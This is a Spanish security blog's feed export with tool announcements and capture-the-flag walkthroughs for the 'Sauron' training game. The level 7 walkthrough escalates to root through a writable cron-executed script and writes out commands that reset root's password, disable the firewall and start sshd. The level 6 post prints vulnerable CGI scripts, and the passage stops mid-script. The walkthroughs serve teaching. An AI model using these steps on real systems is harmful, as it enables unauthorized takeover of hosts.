tag:blogger.com,1999:blog-27965864821555948472024-02-20T08:23:52.538+01:00SG6 LabsInvestigación, desarrollo y reflexiones entorno a la (in)seguridad de la información.Unknownnoreply@blogger.comBlogger20125tag:blogger.com,1999:blog-2796586482155594847.post-73414299674760965602010-02-09T11:28:00.005+01:002010-02-09T11:33:20.914+01:00Security Acts<div style="text-align: justify;">SG6 ha iniciado una colaboración, que se espera mantener en sucesivos números, con el grupo <a href="http://www.diazhilterscheid.de/">Díaz & Hilterscheid</a>, editor de <a href="http://www.securityacts.com/">Security Acts</a>: un magazine centrado en el mundo de la seguridad de la información y que recientemente ha publicado su segundo número.<br /><br />Desde SG6 se ha querido trasladar, mediante una entrevista, la visión de la seguridad de la información de dos de nuestros principales clientes y concretamente la visión de la seguridad de la información en unas instituciones tan interesantes como son las Universidades, donde miles de usuarios con los más diversos perfiles conviven en un entorno en el que el número de servicios ofrecidos crece de forma exponencial año a año.<br /><br />Se quiere agradecer a Diego Pérez Martínez, director técnico del STIC de la <a href="http://www.ual.es/">Universidad de Almería</a>, y a Francisco J. Sampalo Lainz, Jefe del Servicio de Informática de la <a href="http://www.upct.es/">Universidad Politécnica de Cartagena</a>, la colaboración prestada y la buena disposición a participar en este proyecto.<br /><br />En sucesivos números se aportarán nuevos temas, casi con toda seguridad con un perfil más técnico. Deseamos que disfrutéis de este número de Security Acts y de nuestra modesta colaboración.<br /><br /><a href="http://www.securityacts.com/securityacts02.pdf">+Descargar Security Acts 02</a><br /><br /><br /></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-317123922491301232009-11-18T10:00:00.002+01:002009-11-18T10:02:21.596+01:00Patrocinio Rooted Con 2010<div style="text-align: justify;">SG6, en nuestro interés por promover la seguridad de la información en todos los ámbitos, uno de ellos en el de otorgarle visibilidad y presencia en la sociedad, será uno de los patrocinadores del evento "Rooted Con 2010".<br /><br />Rooted CON, en palabras de sus propios organizadores, <span style="font-style: italic;">es un Congreso de Seguridad que se celebrará en Madrid (España) en Marzo de 2010. Su objetivo es promover la seguridad, ofreciendo charlas altamente técnicas, con un enfoque práctico, y manteniendo la total neutralidad.</span> <span style="font-style: italic;">La organización del congreso de seguridad Rooted CON reúne a un grupo de profesionales con más de 10 años de experiencia en el sector de la Seguridad TIC, así como expertos de reconocido prestigio, ganadores y/o finalistas de concursos nacionales e internacionales de hacking, análisis forense e ingeniería inversa, además de ponentes habituales de conferencias de seguridad.</span><br /><br />[+] Información adicional: <a href="http://www.rootedcon.es/">http://www.rootedcon.es/</a><br /><br /></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-28046441408517710592009-02-02T12:56:00.016+01:002009-02-02T16:22:21.045+01:00BashSixtyBash: una interfaz para la auditoría de SNMP<div style="text-align: justify;">Saludos a todos. Esta semana, por segunda consecutiva, queremos publicar otra de las herramientas desarrolladas en el quehacer diario, y que como todas las anteriores, esperamos que puedan ser de utilidad para otros, profesionales o aficcionados. Cualquier sugerencia o comentario, como siempre serán bienvenidos.<br /><br />BashSixtyBash es una adaptación libre de la popular herramienta para escaneo SNMP <a href="http://www.phreedom.org/solar/onesixtyone/">OneSixtyOne</a>. A diferencia de ella, desarrollada en C y donde la principal funcionalidad es la velocidad, BashSixtyBash está desarrollada en bash script con la idea de ser una interfaz de auditoría SNMP usando <a href="http://www.net-snmp.org/">snmpwalk (Net-SNMP)</a>, con un rendimiento medio ( ~30 pruebas/segundo ) y una mayor funcionalidad. Sus principales características son:<br /><br /></div><ul style="text-align: justify;"><li>Múltiples mecanismos de seleccion de host.<br /></li><li>Detección de comunidades mediante diccionario. </li><li>Multiprotocolo: SNMP 1/2c.</li><li>Multiproceso mediante fork/wait.<br /></li><li>Petición de OIDs configurable por el usuario.</li><li>OID's preconfigurados para tareas de auditoría.<br /></li><li>Logs en formato texto y XML.</li><li>Autolog en formato texto.<br /></li><li>Sistema de reporte mediante transformación XSL.</li></ul><br /><span style="font-weight: bold; color: rgb(64, 136, 184);font-size:130%;" >Contenidos Descargables<br /></span><ul><li><a href="http://www.sg6.es/labs/tools/bsb-0.62.tar.bz2">Descargar BashSixtyBash v0.62</a></li></ul>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-57911741028518553932009-01-27T16:14:00.010+01:002009-01-27T16:50:31.304+01:00WebExp: una herramienta de exploración web para la auditoría.<div style="text-align: justify;">Saludos a todos los que nos visitáis. Aprovechando el inicio del año SG6 publica la primera de sus nuevas herramientas a liberar durante este 2009.<br /><br />En este caso se trata de WebExp, desarrollada en Ruby y diseñada para facilitar el descubrimiento de rutas en servicios web durante pruebas de auditoría. Por ello, además del tradicional sistema de descubrimiento autoincremental cuenta con una serie de características enfocadas a la revisión de aplicativos web: verificación de certificados, protocolos y algoritmos SSL, además análisis de métodos HTTP, incluída la verificación automática de directorios con permisos de escritura mediante el uso del método PUT.<br /><br />Además, como característica distintiva, WebExp cuenta con un sistema de reporte en formato XSL a partir de ficheros de log en formato XML permitiendo así la generación de reportes personalizados y una fácil integración en el proceso de redacción de informes.<br /><br />Actualmente, la versión liberada al público es la 0.47b, encontrándose en fase de prueba una nueva versión que incorpora como principales mejoras el soporte multithread, que proporciona un incremento sustancial del rendimiento, así como mejoras en el control de errores y excepciones.<br /><br />Esperamos que esta herramienta sea de utilidad, y como siempre estaremos encantados de recibir cualquier sugerencia, comentario o mejora a nuestra dirección de correo electrónico labs@sg6.es<br /><br /><span style="font-weight: bold; color: rgb(64, 136, 184);font-size:130%;" >Contenidos Descargables</span><br /><a href="http://www.sg6.es/labs/tools/shrekv2-1.tar.gz"></a><ul><li><a href="http://www.sg6.es/labs/tools/webexp.v0-47b.rar">Descargar WebExp v0.47b</a></li></ul><br /></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-53032220966526323252008-12-23T09:42:00.010+01:002008-12-23T10:26:31.288+01:00Un Nuevo Año<div style="text-align: justify;">Como dice el título "un nuevo año", lo que a la fuerza implica que otro ha pasado: nuestro primer año online. Por ello creemos que es un buen momento de hacer una pequeña evaluación del mismo.<br /><br />Cuando se creó este blog nunca se concibió como un sitio masivo, sino más bien como un pequeño lugar, bastante minoritario, donde contar y hacer público todo aquello que formando parte de nuestro trabajo cotidiano consideramos puede ser útil a otras personas.<br /><br />De esa forma nació el blog y nació el primero de sus proyectos, SecGame, continuación de un proyecto formativo realizado para un Master en Seguridad de la Información. Con el paso del tiempo otras ideas se han ido sumando, modestas en su mayoría, pues son producto del quehacer diario: un script que autentica OpenVPN en Active Directory, un programa que captura terminales ssh, alguna conferencia que se ha realizado, etc.<br /><br />Pero quizá, debido al impulso inicial proporcionado por <a href="http://www.kriptopolis.org/sauron-virtualizacion-de-intrusiones">"Sauron" y Kriptópolis</a>, las cifras hayan estado por encima de la idea original e incluso por encima del espíritu del blog. En total este año se han recibido más de 16000 visitas, casi 5000 usuarios únicos repartidos por más de 45 paises, más de 40 visitas diarias ...<br /><br />Y todo ello con el blog "sin actualizar", o mejor dicho, con un ritmo errático de publicación. Lo cual algunas veces ha supuesto que algún visitante mande un email preguntando por nuestro estado. La respuesta es sencilla: estamos trabajando.<br /><br />Y aprovechamos para aclarar este aspecto: SG6 Labs no es un grupo de I+D que trabaje a jornada continua en ello, ni tampoco es un blog divulgativo sobre seguridad de la información. Precisamente es por ello por lo que tiene un ritmo errático, porque su frecuencia es aquella que marca el interés de nuestro trabajo en <a href="http://www.sg6.es/">SG6</a>. Donde hay meses donde se crean cosas interesantes, y meses en los que nada hay que publicar.<br /><br />En esa línea seguiremos este próximo año. Está prevista la publicación de un nuevo SecGame, cuyo nombre será Melkor, de algunas nuevas herramientas producto de la labor diaria, y quizá de algunos advisories de seguridad.<br /><br />Gracias por cada una de las visitas y por el interés en nuestros proyectos. Gracias también a todos los que habéis apoyado y colaborado con nosotros: <a href="http://www.kriptopolis.org/">Kriptópolis</a>, <a href="http://www.pensandoenred.com/">Pensando en Red</a>, <a href="http://www.xtrelan.es/">Extrelan</a>, etc.<br /><br />Por último, queremos aprovechar la entrada para <a href="http://www.sg6.es/navidad08">desearos a todos una feliz navidad y un próspero 2009</a>.<br /><br /></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-41146452301232732982008-12-01T09:24:00.007+01:002008-12-01T10:10:29.926+01:00Shrek: Monitor de terminales basado en strace.<div style="text-align: justify;">Saludos a todos,<br /><br />después de un periodo de pausa en la publicación de contenidos en el blog, pero no de inactividad en la creación y desarrollo de nuevos proyectos, volvemos a la actividad pública con una herramienta que esperamos os sea de utilidad.<br /><br />Shrek es un monitor, denominados comúnmente snoopers, con funciones de grabación y de reproducción de la actividad que sucede en un terminal Linux, incluídos terminales enlazados mediante sshd. En definitiva, una herramienta útil tanto para administradores de sistemas, como eventualmente para profesionales del pentest, destinada a conocer lo que un determinado usuario está realizando a través de su terminal.<br /><br />Debemos comentar que existen otros medios para realizar esta tarea, como pueden ser <a href="http://freshmeat.net/projects/ttysnoop/">ttysnoop</a>, discontinuado y <a href="http://sysd.org/stas/node/35">reaparecido</a> para kernels de la rama 2.6, o <a href="http://sourceforge.net/projects/snoop/">snoop</a>, un parche para el kernel de Linux. Sin embargo, estas herramientas parten de la idea de extender las funcionalidades propias de un sistema Linux, por lo que requieren de modificaciones, bien de los ficheros de configuración, de los binarios, o del propio del kernel.<br /><br />Shrek, a diferencia de estas soluciones es una herramienta mucho más sencila y ligera, basada en la característica integrada en los sistema Linux para la monitorización de procesos, <a href="http://es.tldp.org/Paginas-manual/man-pages-es-1.28/man2/ptrace.2.html">ptrace</a>, haciendo uso de ella a través del binario <a href="http://sourceforge.net/projects/strace/">strace</a>, destinado a la monitorización de llamadas al sistema. De esta forma es capaz de monitorizar y grabar a disco las llamadas de entrada/salida (aquellas que contienen la información enviada y recibida por el usuario), tanto de procesos sshd asociados a una terminal, como de procesos bash, permitiendo su posterior reproducción como si de una película se tratara.<br /><br />Shrek está compuesto de los siguientes elementos:<br /><ul><li>shrek-pid: Permite obtener los identificadores de proceso (pids) que pueden ser monitorizados por shrek.</li><li>shrek-rec: Permite la grabación a disco de la actividad que se está llevando a cabo en un determinado proceso.</li><li>shrek-play: Permite visualizar las grabaciones realizadas mediante shrek-rec.</li></ul><br />Por último, SG6 agradece la colaboración desinteresada de todos los que han aportado su granito de arena en la depuración y mejora de esta idea.<br /><br /><span style="font-weight: bold; color: rgb(64, 136, 184);font-size:130%;" >Contenidos Descargables</span><br /><ul style="text-align: justify;"><li><a href="http://www.sg6.es/labs/tools/autorizacion.py"></a><a href="http://www.sg6.es/labs/tools/shrekv2-1.tar.gz">Descargar Shrek v2.1</a><br /></li></ul></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-41844145251155503962008-04-21T10:14:00.004+02:002008-04-21T11:24:34.815+02:00SecGame #1: Sauron - Resolución Nivel 7<div style="text-align: justify;">Saludos a todos los que habéis seguido esta resolución hasta el final, y a todos los que a partir de ahora useis estas pequeños tutoriales para cualquier menester que estimeis útil.<br /><br />Vaya por delante decir que os agradecemos el interés mostrado, las dudas planteadas, y en definitiva que hayáis colaborado en la materialización de este proyecto. Gracias también a todos los que usáis nuestro SecGame como material didáctico en cursos, masters y otras formaciones a profesionales. Sin más, vamos ya con el nivel 7.<br /><br />Como sabemos en este punto ( y por si lo hemos olvidado siempre podemos mirar el /etc/passwd ) el sistema contiene únicamente tiene 3 usuarios: blindware, intranet y developer. De estos, developer parece estar bastante al margen, y con los otros dos ya podemos ejecutar comandos. Únicamente, nos queda, pués, intentar conseguir acceso como root a este sistema.<br /><br />Y aquí hacemos un paréntesis, en muchos sistemas al llegar a una situación como esta, únicamente tendremos la opción del exploit local para el kernel. En el caso que nos ocupa, y para hacerlo más didáctico, es posible obtener root, sin explotar nada a nivel de kernel.<br /><br />Vaya por delante, que la explotación de este nivel requiere de paciencia, y de unir dos conceptos un poco “dispersos”. No llegamos a calificar su explotación de “idea feliz”, puesto que hay un camino lógico que permite hacerlo, pero desde luego, no es sencillo darse cuenta del mismo. A pesar de que pueda parecer un nivel diseñado ex profeso para el juego, este fallo de seguridad puede ser extrapolado, total o parcialmente, a sistemas reales en los que usuarios sin privilegios deben desempeñar tareas administrativas. Hecho el “disclaimer”, vamos a ver los pasos a dar para explotarlo.<br /><br />Hasta el momento, hay algo bastante importante, que hemos obviado hacer, quizá por no necesitarlo: obtener los paths que contiene el servidor web. Dado que el directorio “/var/www” nos impide la lectura, es cuestión de hacer uso del fichero de configuración del propio apache, y del comando grep para obtener la información: <span style="font-style: italic;">cat /etc/httpd/conf/httpd.conf | grep /var/www. </span>De esta forma obtendremos una información parecida a la siguiente:<br /><br /><span style="font-style: italic;">DocumentRoot "/var/www/html"<br /></span><span style="font-style: italic;"><directory></directory></span><span style="font-style: italic;"><br />Alias /icons/ "/var/www/icons/"</span><span style="font-style: italic;"><br /><directory></directory></span><span style="font-style: italic;"><br />ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"</span><span style="font-style: italic;"><br /># "/var/www/cgi-bin" should be changed to whatever your ScriptAliased</span><span style="font-style: italic;"><br /><directory></directory></span><span style="font-style: italic;"><br /># /var/www/error/include/ files and</span><span style="font-style: italic;"><br />Alias /error/ "/var/www/error/"</span><span style="font-style: italic;"><br /> <directory></directory></span><span style="font-style: italic;"><br /> DocumentRoot /var/www/blindware/htdocs</span><span style="font-style: italic;"><br /> DocumentRoot /var/www/intranet/htdocs</span><br /><br />En definitiva tenemos el siguiente listado de directorios: html, icons, cgi-bin, error, blindware/htdocs e intranet/htdocs dentro del directorio /var/www/.<br /><br />A continuación, debemos verificar los permisos que tenemos sobre cada uno de esos directorios, haciendo uso de un simple "ls -la", encontrando una "pequeña" sorpresa:<br /><br /><span style="font-style: italic;">/var/www/cgi-bin:</span><span style="font-style: italic;"><br /><br />total 16</span><span style="font-style: italic;"><br />drwxr-x--- 2 intranet apache 4096 Jun 22 20:06 .</span><span style="font-style: italic;"><br />d--x--x--x 8 root root 4096 May 12 13:52 ..<br /><br /></span>El directorio /var/www/cgi-bin es propiedad del usuario intranet. Este error, que rara vez se da en entornos altamente estructurados, como puede ser un proveedor de hosting, donde los usuarios tienen unos permisos predefinidos, es más frecuente de lo que parece en otros entornos de producción, por ejemplo grandes empresas u organismos públicos de gran tamaño, donde se dan cambios relativamente frecuentes, donde se necesita compartir información entre usuarios, y donde el nivel de seguridad local, con el paso del tiempo, de las necesidades, y de las distintas modificaciones, queda mermado.<br /><br />Este fallo, concretamente, nos permite ganar la ejecución de comandos otro usuario: apache. ¿Cómo? Si recordamos, al principio de estas resoluciones, dijimos que al menos 3 hosts, estaban siendo servidos por apache, uno era www.blindware.inc, otro intranet.blindware.inc, y un tercero, el servido mediante https. Pues bien, el servicio HTTPS tiene su directorio CGI en /var/www/cgi-bin/.<br /><br />Por tanto, únicamente deberemos realizar una copia de la shell en PHP que tengamos en el sistema para ejecutar comandos a ese directorio, para empezar a ejecutar comandos con nuestras nuevas credenciales: uid=48(apache) gid=48(apache) groups=48(apache)<br /><br />A partir de aquí es cuestión de paciencia, y de ser capaces de revisar los servicios activos en el sistema, buscando una vulnerabilidad de configuración, para ello podemos hacer uso del comando "ps", de listar los servicios con "chkconfig", o de pasearnos por el "init.d". El hecho es que si paulatinamente vamos revisando (versiones y ficheros de configuración) de todos los servicios activos: syslog, mysql, cron, anacron, sendmail, etc ( algo que es bastante tedioso, todo sea dicho )<br />encontraremos lo siguiente dentro de la configuración del demonio cron, en el fichero crontab:<br /><br />SHELL=/bin/bash<br />PATH=/sbin:/bin:/usr/sbin:/usr/bin<br />MAILTO=root<br />HOME=/<br /><br /># run-parts<br />* * * * * root run-parts /etc/cron.every<br />01 * * * * root run-parts /etc/cron.hourly<br />02 4 * * * root run-parts /etc/cron.daily<br />22 4 * * 0 root run-parts /etc/cron.weekly<br />42 4 1 * * root run-parts /etc/cron.monthly<br /><br />Hay una entrada “cron.every”, que no es natural en estos sistemas, no obstante, aunque no la hubiese, lo normal sería revisar cada uno de los directorios y ver qué se ejecuta en ellos. <span style="font-style: italic;"><br /><br />/etc/cron.every:</span><span style="font-style: italic;"><br />total 4</span><span style="font-weight: bold; font-style: italic;"><br />lrwxrwxrwx 1 root root 22 May 16 20:10 www.do -> /var/www/html/doit.txt</span><br /><br />En negrita hemos resaltado la vulnerabilidad. Si no fijamos, cron.every, ejecuta cada minuto el script localizado en /var/www/html/doit.txt cuyos permisos son los siguientes:<br /><br />total 12<br />-rwxr-xr-x 1 apache apache 124 May 16 20:12 doit.txt<br />-rw-r--r-- 1 apache apache 0 May 12 21:15 index.html<br /><br />El fallo, contrario a cualquier criterio de buenas prácticas, radica en haber enlazado un proceso administrativo con privilegios de root a un script que bajo determinadas circunstancias, por muy remotas que estas sean, puede ser controlado por un usuario ajeno a root.<br /><br />A partir de aquí, vamos a ver el proceso para obtener la cuenta de root, vaya por delante que es únicamente una demostración de concepto, y desde luego, no es precisamente la forma más sutil de obtenerlo.<br /><br />Primero, añadiremos una línea al fichero doit.txt y tendremos cambiada la contraseña de root del sistema, a r00t3d. Para eso ejecutamos el siguiente comando (urlencodeado): <span style="font-style: italic;"><br /><br />echo+%22echo+root%3Ar00t3d+%7C+%2Fusr%2Fsbin%2Fchpasswd%22+%3E+%2Fvar<br />%2Fwww%2Fhtml%2Fdoit.txt</span><br /><br />Por último y para concluir, deshabilitamos el firewall del sistema y habilitamos ssh, con lo que conseguiremos un acceso remoto:<br /><br />Deshabilitar FW:<br /><span style="font-style: italic;">echo+%22%2Fetc%2Finit.d%2Fiptables+stop%22+%3E+%2F<br />var%2Fwww%2Fhtml%2Fdoit.txt</span><br /><br />Habilitar SSHD:<br /><span style="font-style: italic;">echo+%22%2Fetc%2Finit.d%2Fsshd+start%22+%3E+%2F<br />var%2Fwww%2Fhtml%2Fdoit.txt<br /><br /></span>Conectamos y aquí tenemos el resultado:<br /><br /><span style="font-style: italic;">[root@sauron ~]# id</span><br /><span style="font-style: italic;">uid=0(root) gid=0(root) grupos=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)</span><br /><br />Poco más, enhorabuena a todos los que hayáis conseguido superar el reto planteado con Sauron, y enhorabuena también a todos los que aunque no lo hayáis superado hayáis mejorado vuestros conocimientos y habilidades. Hasta el siguiente SecGame y hasta nuevos proyectos que lanzaremos en breve y esperamos sean de vuestro interés.<br /><br /></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-48951457767543274112008-04-01T12:45:00.007+02:002008-04-01T19:24:02.058+02:00SecGame #1: Sauron - Resolución Nivel 6<div style="text-align: justify;">Saludos nuevamente,<br /><br />nos encontramos ya en el penúltimo de los niveles de este reto, que esta ocasión hemos resuelto con una semana entera de retraso, debido a los desajustes propios de los periodos vacacionales. Por ello, sin perder más tiempo, vamos con su resolución.<br /><br />En este sexto nivel, una vez obtenido el acceso a intranet.blindware.inc lo primero que vamos a encontrar es un fichero de nombre “moved.html”, que parece querernos redirigir hacia una IP de clase A: 10.50.150.200, además de este fichero "moved.html", nos encontramos un directorio de nombre cgi-bak en el cual aparecen numerosos scripts, que podemos descargar en lo que parece un backup del mismo.<br /><br />Podemos deducir, por tanto, que la intranet se ha movido de este sistema al recien descubierto 10.50.150.200, y que además en el proceso de mover cosas, algunos scripts, sin que esté muy claro el motivo, han quedado en este sistema. Este es un escenario relativamente común en entornos de producción maduros, en los que por motivos de rendimiento, u otros, partes de los aplicativos o servicios son migrados a nuevos sistemas. Esta migración, eventualmente, puede tener como consecuencia el olvido de restos de información significativa en el sistema inicial.<br /><br />De momento, lo primero que debemos hacer es bajar el fichero de backup, puesto que estos siempre son una fuente de información muy útil para nuestros propósitos: códigos fuentes, contraseñas, y otra variedad de información están contenidas en ellos.<br /><br />Ahora es el momento de revisar los códigos fuentes de los ficheros almacenados en el servidor. Esta es una tarea para la que sólo hay recomendaciones, pero no una técnica definitiva. Lo que deberemos buscar, generalmente son: entradas y salidas de datos provinientes del usuario, modificaciones sobre los datos del usuario (concatenaciones, alteraciones, etc) y por último llamadas a funciones potencialmente inseguras y/o con riesgo potencial ( dependerá del lenguaje en el que nos encontremos, pero serán funciones principalemente de ejecución de comandos, de trabajo con memoria, etc ).<br /><br />De su revisión, y con un poco de paciencia, obtenemos dos datos, más o menos relevantes:<br /><br />1. Únicamente 2 ficheros producen salidas a disco<br /><br />2. Únicamente 1 fichero admite entradas de usuario<br /><br />Vamos a revisar el código fuente de estos 2 ficheros.<span style="font-style: italic;"></span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;"><span style="font-weight: bold;">PhoneBook</span></span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;">#!/bin/sh</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># Phonebook example as shell script</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;">phonebook=sh_phone.dat</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;">function phonebook_add</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">{</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> if [ "$value1" = "" ]; then</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "Name is required!"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> return</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> fi</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> if [ -z "$value2" ]; then</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "Phone is required!"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> return</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> fi</span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> entry=`grep $value1 $phonebook`</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> if [ "$entry" = "" ]; then</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "$value1 $value2" >>$phonebook</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> if [ $? ]; then</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "Entry $value1 added successfully!"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> else</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "Unable to add to $phonebook. Contact Webmaster."</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> fi</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> else</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "Entry $value1 already exists!"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> fi</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">}</span> <span style="font-style: italic;"></span><br /><span style="font-style: italic;">function phonebook_delete</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">{</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> if [ "$value1" = "" ]; then</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "Name is required!"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> return</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> fi</span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> entry=`grep $value1 $phonebook`</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> if [ "$entry" != "" ]; then</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> mv $phonebook $phonebook.tmp</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> grep -v $value1 $phonebook.tmp >$phonebook</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> if [ $? ]; then</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "Entry $value1 deleted successfully!"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> else</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "Unable to delete from $phonebook. Contact Webmaster."</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> fi</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> else</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "Entry $value1 not found in the phonebook."</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> fi</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">}</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;">function phonebook_search</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">{</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> if [ "$value1" = "" ]; then</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "Name is required!"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> return</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> fi</span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> entry=`grep $value1 $phonebook`</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> if [ "$entry" != "" ]; then</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> name=`echo "$entry" | cut -f1 -d' '`</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> phone=`echo "$entry" | cut -f2 -d' '`</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "Name = $name\nPhone = $phone"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> else</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> echo "Entry $value1 not found in the phonebook."</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> fi</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">}</span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># Main program</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># send the MIME header first</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">echo "Content-type: text/plain"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">echo</span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># get the length of the cgi content</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># not used here since read can read free form input</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># echo "CONTENT_LENGTH = $CONTENT_LENGTH"</span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># read the cgi content</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">read cgiStr</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># echo "input read = $cgiStr"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># process the received input string</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># first split cgiStr using the '&' as separator</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> field1Encoded="${cgiStr%%&*}"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> cgiStr="${cgiStr#*&}"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> field2Encoded="${cgiStr%%&*}"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> cgiStr="${cgiStr#*&}"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> field3Encoded="$cgiStr"</span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># decode the string</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># change '+'s to ' 's</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># translate hex characters - not implemented here</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> field1=`echo $field1Encoded | tr '+' ' '`</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> field2=`echo $field2Encoded | tr '+' ' '`</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> field3=`echo $field3Encoded | tr '+' ' '`</span><br /><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># split the string into name and value</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># name1=${field1%=*}</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> value1="${field1#*=}"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># name2=${field2%=*}</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> value2="${field2#*=}"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># name3=${field3%=*}</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> value3="${field3#*=}"</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># value3 has an extra character at the end because of the free form read</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"># echo :$value3: $value1 $value2</span><br /><span style="font-style: italic;"></span> <span style="font-style: italic;"></span><span style="font-style: italic;"># call appropriate function depending on ACTION</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">if [ "${value3#ADD}" != "$value3" ]; then</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> phonebook_add</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">elif [ "${value3#DELETE}" != "$value3" ]; then</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> phonebook_delete</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">else</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;"> phonebook_search</span><span style="font-style: italic;"></span><br /><span style="font-style: italic;">fi</span><br /><br /><span style="font-weight: bold; font-style: italic;">do_passv.cgi</span><span style="font-style: italic;"><br /><br />#!/bin/sh</span><span style="font-style: italic;"><br />rm /tmp/tmp_*</span><span style="font-style: italic;"><br />TMP_NAME="/tmp/tmp_"`echo $RANDOM | md5sum | cut -f1 -d" "`</span><span style="font-style: italic;"><br />wget -O $TMP_NAME --no-check-certificate https://127.0.0.1/doit.txt 2> /dev/null</span><span style="font-style: italic;"><br />chmod +x $TMP_NAME</span><span 